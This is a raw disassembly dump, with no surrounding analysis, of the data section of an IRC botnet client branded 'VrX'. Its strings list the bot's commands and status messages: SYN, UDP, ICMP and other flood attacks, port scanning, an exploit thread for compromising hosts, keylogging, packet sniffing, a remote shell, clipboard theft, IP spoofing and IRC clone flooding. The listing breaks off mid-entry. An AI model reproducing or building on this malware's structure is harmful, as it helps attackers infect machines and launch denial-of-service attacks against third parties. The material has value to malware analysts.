aNetsend db 'netsend',0 ; DATA XREF: sub_401AC7+4F20o aU: ; DATA XREF: sub_401AC7+4F09o ; ___:00438328o unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_401AC7+4EF2o aUdpflood db 'udpflood',0 ; DATA XREF: sub_401AC7+4EDBo align 4 aAsc db 'asc',0 ; DATA XREF: sub_401AC7+4EC4o off_42AFEC dd offset word_587256 ; DATA XREF: sub_401AC7+4EADo dword_42AFF0 dd 637370h ; DATA XREF: sub_401AC7+4E96o aPortscan db 'portscan',0 ; DATA XREF: sub_401AC7+4E7Fo align 10h aC_a db 'c_a',0 ; DATA XREF: sub_401AC7+4E59o aC_action db 'c_action',0 ; DATA XREF: sub_401AC7+4E42o align 10h aC_pm db 'c_pm',0 ; DATA XREF: sub_401AC7+4E2Bo align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401AC7+4E14o align 4 aSc db 'sc',0 ; DATA XREF: sub_401AC7+4DFDo align 4 aScan db 'scan',0 ; DATA XREF: sub_401AC7+4DE6o align 10h aRd db 'rd',0 ; DATA XREF: sub_401AC7+4DCFo align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_401AC7+4DB8o align 10h aNazel db 'NAZEL',0 ; DATA XREF: sub_401AC7+4D8Ao ; sub_401AC7+4DA1o align 4 aWonk db 'wonk',0 ; DATA XREF: sub_401AC7+4D73o align 10h aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401AC7+4D5Co align 4 dword_42B05C dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401AC7+4D4Fo aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42B098 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401AC7+4CD7o aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: sub_401AC7+4C5Do align 10h aSyn db 'syn',0 ; DATA XREF: sub_401AC7+4C46o ; sub_401AC7+5225o aSynflood db 'synflood',0 ; DATA XREF: sub_401AC7+4C2Fo align 10h unk_42B0E0 db 2Dh ; - ; DATA XREF: sub_401AC7+4C22o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_12 db '- Failed to start flood thread, error: <%d>.',0 align 10h aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401AC7+4B4Bo align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401AC7+4B34o ; sub_41364F:loc_41377Bo aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401AC7+4B1Do ; sub_41364F:loc_41375Fo align 4 aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401AC7+4B06o ; sub_41364F+F1o align 10h aClone_0 db 'clone',0 ; DATA XREF: sub_401AC7+4AD8o align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_401AC7+4AAFo align 10h aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401AC7+4A98o align 4 aMv db 'mv',0 ; DATA XREF: sub_401AC7+4A81o align 10h aRename db 'rename',0 ; DATA XREF: sub_401AC7+4A6Ao align 4 aFf db 'ff',0 ; DATA XREF: sub_401AC7+4A53o align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_401AC7+4A3Co align 4 aE: ; DATA XREF: sub_401AC7+4A25o ; ___:004382E8o unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_401AC7+4A0Eo aHadeth db 'HADETH',0 ; DATA XREF: sub_401AC7+49E0o ; sub_401AC7+49F7o align 4 aDe db 'de',0 ; DATA XREF: sub_401AC7+49C9o align 10h aDelay db 'delay',0 ; DATA XREF: sub_401AC7+49B2o align 4 aRp db 'rp',0 ; DATA XREF: sub_401AC7+499Bo align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_401AC7+4984o ; sub_401AC7+6B38o align 4 aTsn db 'tsn',0 ; DATA XREF: sub_401AC7+496Do aTsunami db 'tsunami',0 ; DATA XREF: sub_401AC7+4956o aT3 db 't3',0 ; DATA XREF: sub_401AC7+493Fo align 4 aTarga3 db 'targa3',0 ; DATA XREF: sub_401AC7+4928o align 4 aC_p db 'c_p',0 ; DATA XREF: sub_401AC7+4911o aC_part db 'c_part',0 ; DATA XREF: sub_401AC7+48FAo align 4 aC_j db 'c_j',0 ; DATA XREF: sub_401AC7+48E3o aC_join db 'c_join',0 ; DATA XREF: sub_401AC7+48CCo align 4 aC_n db 'c_n',0 ; DATA XREF: sub_401AC7+48B5o aC_nick db 'c_nick',0 ; DATA XREF: sub_401AC7+489Eo align 10h aC_m db 'c_m',0 ; DATA XREF: sub_401AC7+4887o aC_mode db 'c_mode',0 ; DATA XREF: sub_401AC7+4870o align 4 aC_r db 'c_r',0 ; DATA XREF: sub_401AC7+4859o aC_raw db 'c_raw',0 ; DATA XREF: sub_401AC7+4842o align 4 aM: ; DATA XREF: sub_401AC7+482Bo ; ___:00437FF0o ... unicode 0, <m>,0 aCy db 'cy',0 ; DATA XREF: sub_401AC7+47FDo align 10h aCycle db 'cycle',0 ; DATA XREF: sub_401AC7+47E6o align 4 aA: ; DATA XREF: sub_401AC7+47CFo unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_401AC7+47B8o align 4 aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401AC7+478Ao aAa db 'aa',0 ; DATA XREF: sub_401AC7+4773o align 10h aAddalias db 'addalias',0 ; DATA XREF: sub_401AC7+475Co align 4 aKl db 'kl',0 ; DATA XREF: sub_401AC7+4745o align 10h aKilllog db 'killlog',0 ; DATA XREF: sub_401AC7+472Eo aGh db 'gh',0 ; DATA XREF: sub_401AC7+4705o align 4 aGethost db 'gethost',0 ; DATA XREF: sub_401AC7+46EEo unk_42B254 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_4061A8o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42B270 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_40619Eo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 aSend db 'send',0 ; DATA XREF: sub_401AC7+4694o ; sub_4098FD+5F0o align 4 unk_42B29C db 2Dh ; - ; DATA XREF: sub_401AC7:loc_406150o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42B2BC db 2Dh ; - ; DATA XREF: sub_401AC7+467Fo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 unk_42B2DC db 2Dh ; - ; DATA XREF: sub_401AC7:loc_4060AEo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 unk_42B2FC db 2Dh ; - ; DATA XREF: sub_401AC7+45DDo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 10h aShare db 'share',0 ; DATA XREF: sub_401AC7+4575o align 4 aContinue db 'continue',0 ; DATA XREF: sub_401AC7+453Fo align 4 aPause db 'pause',0 ; DATA XREF: sub_401AC7+4527o align 4 unk_42B33C db 2Dh ; - ; DATA XREF: sub_401AC7:loc_405FCBo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42B35C db 2Dh ; - ; DATA XREF: sub_401AC7+44FAo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 10h aStart db 'start',0 ; DATA XREF: sub_401AC7+44A9o align 4 unk_42B388 db 2Dh ; - ; DATA XREF: sub_401AC7+4476o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aNet db 'net',0 ; DATA XREF: sub_401AC7+4452o aStop db 'stop',0 ; DATA XREF: sub_401AC7+4424o ; sub_401AC7+443Bo ... align 4 aKeylog db 'keylog',0 ; DATA XREF: sub_401AC7+440Do align 4 aKeyloger db 'keyloger',0 ; DATA XREF: sub_401AC7+43F6o align 10h dword_42B3E0 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401AC7:loc_405EB0o aNoThreadFound_ db '- No thread found.',0 align 10h dword_42B400 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401AC7+43DFo aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 4 dword_42B438 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401AC7+43B1o aFailedToSta_13 db '- Failed to start server, error: <%d>.',0 align 4 dword_42B46C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401AC7+4364o aServerRunnin_0 db '- Server running on Port: 113.',0 align 4 dword_42B498 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401AC7+4354o aAlreadyRunning db '- Already running.',0 align 4 aIdent db 'ident',0 ; DATA XREF: sub_401AC7+4323o align 10h unk_42B4C0 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_405DDDo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoVrxSnifferTh db '- No VrX sniffer thread found.',0 unk_42B4EC db 2Dh ; - ; DATA XREF: sub_401AC7+430Co db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVrxSnifferStop db '- VrX sniffer stopped. (%d thread(s) stopped.)',0 unk_42B528 db 2Dh ; - ; DATA XREF: sub_401AC7+42DEo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_14 db '- Failed to start sniffer thread, error: <%d>.',0 unk_42B564 db 2Dh ; - ; DATA XREF: sub_401AC7+426Fo db 3, 34h, 2 db 53h ; S db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVrxPacketSniff db '- VrX packet sniffer active.',0 align 10h unk_42B590 db 2Dh ; - ; DATA XREF: sub_401AC7+420Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_0 db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: sub_401AC7+41D6o dword_42B5B8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401AC7:loc_405C90o aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42B5E4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401AC7+41BFo aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 10h dword_42B620 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401AC7+4191o aFailedToSta_15 db '- Failed to start sniffer thread, error: <%d>.',0 align 4 dword_42B65C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401AC7+4122o aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 4 dword_42B68C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401AC7+40BEo aAlreadyRunni_1 db '- Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: sub_401AC7+409Eo ; sub_401AC7+41EBo ... align 10h aPsniff db 'psniff',0 ; DATA XREF: sub_401AC7+4089o align 4 aRf db 'rf',0 ; DATA XREF: sub_401AC7+4072o align 4 aReadfile db 'readfile',0 ; DATA XREF: sub_401AC7+405Bo align 4 aCm db 'cm',0 ; DATA XREF: sub_401AC7+4044o align 4 aCmd db 'cmd',0 ; DATA XREF: sub_401AC7+402Do aMirc db 'mirc',0 ; DATA XREF: sub_401AC7+4016o align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401AC7+3FFFo aV: ; DATA XREF: sub_401AC7+3FE8o ; ___:00437FE4o ... unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_401AC7+3FD1o align 4 aLi db 'li',0 ; DATA XREF: sub_401AC7+3FBAo align 10h aList db 'list',0 ; DATA XREF: sub_401AC7+3FA3o align 4 aGt db 'gt',0 ; DATA XREF: sub_401AC7+3F8Co align 4 aDel db 'del',0 ; DATA XREF: sub_401AC7+3F5Eo aDelete db 'delete',0 ; DATA XREF: sub_401AC7+3F47o ; sub_401AC7+455Ao align 4 aKi db 'ki',0 ; DATA XREF: sub_401AC7+3F30o align 4 aKill db 'kill',0 ; DATA XREF: sub_401AC7+3F19o align 4 aKp db 'kp',0 ; DATA XREF: sub_401AC7+3F02o align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_401AC7+3EEBo align 4 aDn db 'dn',0 ; DATA XREF: sub_401AC7+3ED4o align 4 aDns db 'dns',0 ; DATA XREF: sub_401AC7+3EBDo aSe db 'se',0 ; DATA XREF: sub_401AC7+3EA6o align 10h aO: ; DATA XREF: sub_401AC7+3E78o ; ___:00438314o unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_401AC7+3E61o ; sub_401AC7+5884o ... align 4 aPr db 'pr',0 ; DATA XREF: sub_401AC7+3E4Ao align 10h aPrefix db 'prefix',0 ; DATA XREF: sub_401AC7+3E33o align 4 aC_rn db 'c_rn',0 ; DATA XREF: sub_401AC7+3E1Co align 10h aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401AC7+3E05o align 4 aC_q db 'c_q',0 ; DATA XREF: sub_401AC7+3DEEo aC_quit db 'c_quit',0 ; DATA XREF: sub_401AC7+3DD7o align 4 aK: ; DATA XREF: sub_401AC7+3DC0o ; ___:00438304o unicode 0, <k>,0 aKillthread db 'killthread',0 ; DATA XREF: sub_401AC7+3DA9o align 4 aRaw db 'raw',0 ; DATA XREF: sub_401AC7+3D7Bo aPt db 'pt',0 ; DATA XREF: sub_401AC7+3D64o align 10h aJ: ; DATA XREF: sub_401AC7+3D36o ; ___:00438300o unicode 0, <j>,0 aN: ; DATA XREF: sub_401AC7+3D08o ; ___:00437FECo ... unicode 0, <n>,0 unk_42B788 db 2Dh ; - ; DATA XREF: sub_401AC7+3CD3o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 10h aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401AC7+3C6Ao aRegister db 'register',0 ; DATA XREF: sub_401AC7+3C41o align 4 aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401AC7+3BE6o align 4 aMix db 'mix',0 ; DATA XREF: sub_401AC7+3B14o dword_42B7E8 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401AC7+3ABEo ; sub_401AC7+3AF9o dd 0 dword_42B800 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_401AC7+3A83o dd 1 dword_42B818 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401AC7+3A48o ; sub_401AC7+3B66o aCtcp db 'ctcp',0 ; DATA XREF: sub_401AC7+39F6o align 4 aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401AC7+395Bo ; sub_401AC7+399Bo ... align 4 aNotice_0 db 'notice',0 ; DATA XREF: sub_401AC7+3904o align 4 aMsg db 'msg',0 ; DATA XREF: sub_401AC7+3812o aChgnick db 'chgnick',0 ; DATA XREF: sub_401AC7+37CEo aNick_0 db 'nick',0 ; DATA XREF: sub_401AC7+36CBo ; sub_401AC7+3CF1o align 10h dword_42B860 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_401AC7+36B0o dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_42B888 dd 636364h ; DATA XREF: sub_401AC7+3633o dword_42B88C dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401AC7+34E2o dword_42B898 dd 4B43494Eh, 732520h ; DATA XREF: sub_401AC7+34C7o ; sub_401AC7+3725o ... dword_42B8A0 dd 69257325h, 0 ; DATA XREF: sub_401AC7+34AFo ; sub_40AAA0+4Eo ... aPnick db 'pnick',0 ; DATA XREF: sub_401AC7+346Fo align 10h aPartSS db 'part %s %s',0 ; DATA XREF: sub_401AC7+3454o ; sub_401AC7+3539o ... align 4 aPartflood db 'partflood',0 ; DATA XREF: sub_401AC7+342Do align 4 aPartS db 'part %s',0 ; DATA XREF: sub_401AC7+3412o aPart_0 db 'part',0 ; DATA XREF: sub_401AC7+33F0o ; sub_401AC7+3D4Do align 4 aJoinS db 'join %s',0 ; DATA XREF: sub_401AC7+33D5o ; sub_401AC7+3510o ... aJoin db 'join',0 ; DATA XREF: sub_401AC7+33B3o ; sub_401AC7+3D1Fo align 4 aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401AC7+3398o align 4 aMode db 'mode',0 ; DATA XREF: sub_401AC7+334Co ; sub_401AC7+4814o align 4 aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401AC7+3331o align 4 aNt db 'nt',0 ; DATA XREF: sub_401AC7+32E5o align 10h dword_42B910 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_401AC7+32CAo dword_42B924 dd 7463h ; DATA XREF: sub_401AC7+327Eo dword_42B928 dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401AC7+3263o ; sub_401AC7+3869o ... dword_42B938 dd 5Fh ; DATA XREF: sub_401AC7+3237o ; sub_401AC7+329Eo ... dword_42B93C dd 6D70h ; DATA XREF: sub_401AC7+3217o ; sub_401AC7+47A1o unk_42B940 db 2Dh ; - ; DATA XREF: sub_401AC7+31E7o db 3, 34h, 2 db 56h ; V db 72h, 58h, 20h db 46h ; F db 6Ch, 2 dup(6Fh) db 64h ; d db 2, 3, 2Dh aSClonesLoadedT db ' %s clones loaded to %s:%s',0 align 4 aLoad db 'load',0 ; DATA XREF: sub_401AC7+3193o align 4 aFlood db 'flood',0 ; DATA XREF: sub_401AC7+3172o align 4 aRinms db 'rinms',0 ; DATA XREF: sub_401AC7+315Bo align 4 aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401AC7+3144o aRin db 'rin',0 ; DATA XREF: sub_401AC7+312Do aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401AC7+3116o align 4 unk_42B9A8 db 2Dh ; - ; DATA XREF: sub_401AC7+3109o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 unk_42B9E8 db 2Dh ; - ; DATA XREF: sub_401AC7+3097o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 aExploit db 'exploit',0 ; DATA XREF: sub_401AC7+3019o unk_42BA20 db 2Dh ; - ; DATA XREF: sub_401AC7+2FF9o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 4 unk_42BA4C db 2Dh ; - ; DATA XREF: sub_401AC7+2FCFo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401AC7+2F97o align 4 unk_42BA8C db 2Dh ; - ; DATA XREF: sub_401AC7+2F3Eo ; sub_401AC7+2FAFo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 4 aGet db 'get',0 ; DATA XREF: sub_401AC7:loc_4049E3o ; sub_401AC7+3F75o unk_42BAC8 db 3 ; DATA XREF: sub_401AC7+2EAAo a81VrxInvalidLo db '8,1-VrX- Invalid login slot number: %d.',0 align 4 unk_42BAF4 db 3 ; DATA XREF: sub_401AC7+2E9Fo a81VrxNoUserLog db '8,1-VrX- No user logged in at slot: %d.',0 align 10h dword_42BB20 dd 312C3803h, 5872562Dh, 7325202Dh, 0 ; DATA XREF: sub_401AC7+2E4Ao unk_42BB30 db 3 ; DATA XREF: sub_401AC7:loc_404902o a81VrxPoweredBy db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-' db 'Hackers.com).',0 dword_42BB80 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401AC7+2E18o aFailedToSta_16 db '- Failed to start secure thread, error: <%d>.',0 align 4 dword_42BBBC dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_401AC7+2D9Eo dd 2E6D6574h, 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401AC7+2D98o align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_401AC7+2D91o align 10h unk_42BBF0 db 2Dh ; - ; DATA XREF: sub_401AC7+2D1Ao db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_17 db ' Failed to start server thread, error: <%d>.',0 align 10h unk_42BC30 db 2Dh ; - ; DATA XREF: sub_401AC7+2C96o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 4 dword_42BC5C dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401AC7+2C14o aFailedToSta_18 db '- Failed to start server thread, error: <%d>.',0 align 4 dword_42BC98 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401AC7+2BA5o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42BCC0 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401AC7+2AF2o dword_42BCD0 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401AC7+2AEDo dword_42BCDC dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401AC7+2ADAo dword_42BCEC dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401AC7+2AD5o unk_42BCFC db 3 ; DATA XREF: sub_401AC7+2A62o a81VrxReconne_1 db '8,1-VrX- Reconnecting.',0 aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401AC7:loc_40451Co ; sub_401AC7:loc_409578o ... align 4 unk_42BD2C db 3 ; DATA XREF: sub_401AC7+2A40o a81VrxDisconnec db '8,1-VrX- Disconnecting.',0 align 4 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401AC7:loc_4044FAo align 10h aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401AC7:loc_4044E4o ; sub_401AC7+78DBo align 10h aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+2A0Bo align 4 unk_42BD7C db 3 ; DATA XREF: sub_401AC7+29BFo a81VrxStatusRea db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0 align 4 unk_42BDA8 db 3 ; DATA XREF: sub_401AC7+2981o a81VrxBotIdS_ db '8,1-VrX- Bot ID: %s.',0 align 10h unk_42BDC0 db 2Dh ; - ; DATA XREF: sub_401AC7+296Co db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_19 db '- Failed to start list thread, error: <%d>.',0 align 4 dword_42BDFC dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_401AC7+28FDo dd 65726874h, 2E736461h, 0 dword_42BE1C dd 627573h ; DATA XREF: sub_401AC7+28D7o unk_42BE20 db 3 ; DATA XREF: sub_401AC7+2885o a81VrxAliasList db '8,1-VrX- Alias list.',0 align 4 unk_42BE38 db 2Dh ; - ; DATA XREF: sub_401AC7+286Ao db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_20 db '- Failed to start listing thread, error: <%d>.',0 dword_42BE70 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_401AC7+27DDo dd 2E676Fh unk_42BE88 db 3 ; DATA XREF: sub_401AC7+2756o a81VrxNetworkIn db '8,1-VrX- Network Info.',0 unk_42BEA0 db 3 ; DATA XREF: sub_401AC7+2727o a81VrxSystemInf db '8,1-VrX- System Info.',0 align 4 unk_42BEB8 db 3 ; DATA XREF: sub_401AC7+26D2o a81VrxRemovingB db '8,1-VrX- Removing Bot.',0 unk_42BED0 db 2Dh ; - ; DATA XREF: sub_401AC7+26B6o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_21 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_42BF0C dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_401AC7+2641o dd 696C2073h, 2E7473h aFull db 'full',0 ; DATA XREF: sub_401AC7+2621o align 10h unk_42BF30 db 2Dh ; - ; DATA XREF: sub_401AC7+25C2o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_2 db ' Already running.',0 align 10h unk_42BF50 db 3 ; DATA XREF: sub_401AC7+2571o a81VrxUptimeS_ db '8,1-VrX- Uptime: %s.',0 align 4 unk_42BF68 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_403F6Eo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 unk_42BF88 db 2Dh ; - ; DATA XREF: sub_401AC7+24A0o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 10h unk_42BFB0 db 2Dh ; - ; DATA XREF: sub_401AC7+2484o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 4 unk_42BFDC db 3 ; DATA XREF: sub_401AC7+246Eo a81VrxGetClipbo db '8,1-VrX- Get Clipboard.',0 align 4 dword_42BFF8 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401AC7+2440o dd 2Dh unk_42C010 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_403EF7o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 4 unk_42C03C db 2Dh ; - ; DATA XREF: sub_401AC7+2429o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 10h unk_42C060 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_403ECCo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 4 unk_42C08C db 2Dh ; - ; DATA XREF: sub_401AC7:loc_403EC5o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 4 unk_42C0B8 db 2Dh ; - ; DATA XREF: sub_401AC7+23F7o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 4 unk_42C0DC db 2Dh ; - ; DATA XREF: sub_401AC7+23A4o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_22 db '- Failed to start server thread, error: <%d>.',0 align 4 unk_42C118 db 2Dh ; - ; DATA XREF: sub_401AC7+2335o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_42C154 db 2Dh ; - ; DATA XREF: sub_401AC7+2252o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_23 db ' Failed to start server thread, error: <%d>.',0 align 10h unk_42C190 db 2Dh ; - ; DATA XREF: sub_401AC7+21E7o ; sub_40BD7C+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42C1CC db 2Dh ; - ; DATA XREF: sub_401AC7+20E0o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_24 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42C208 db 2Dh ; - ; DATA XREF: sub_401AC7+2071o ; 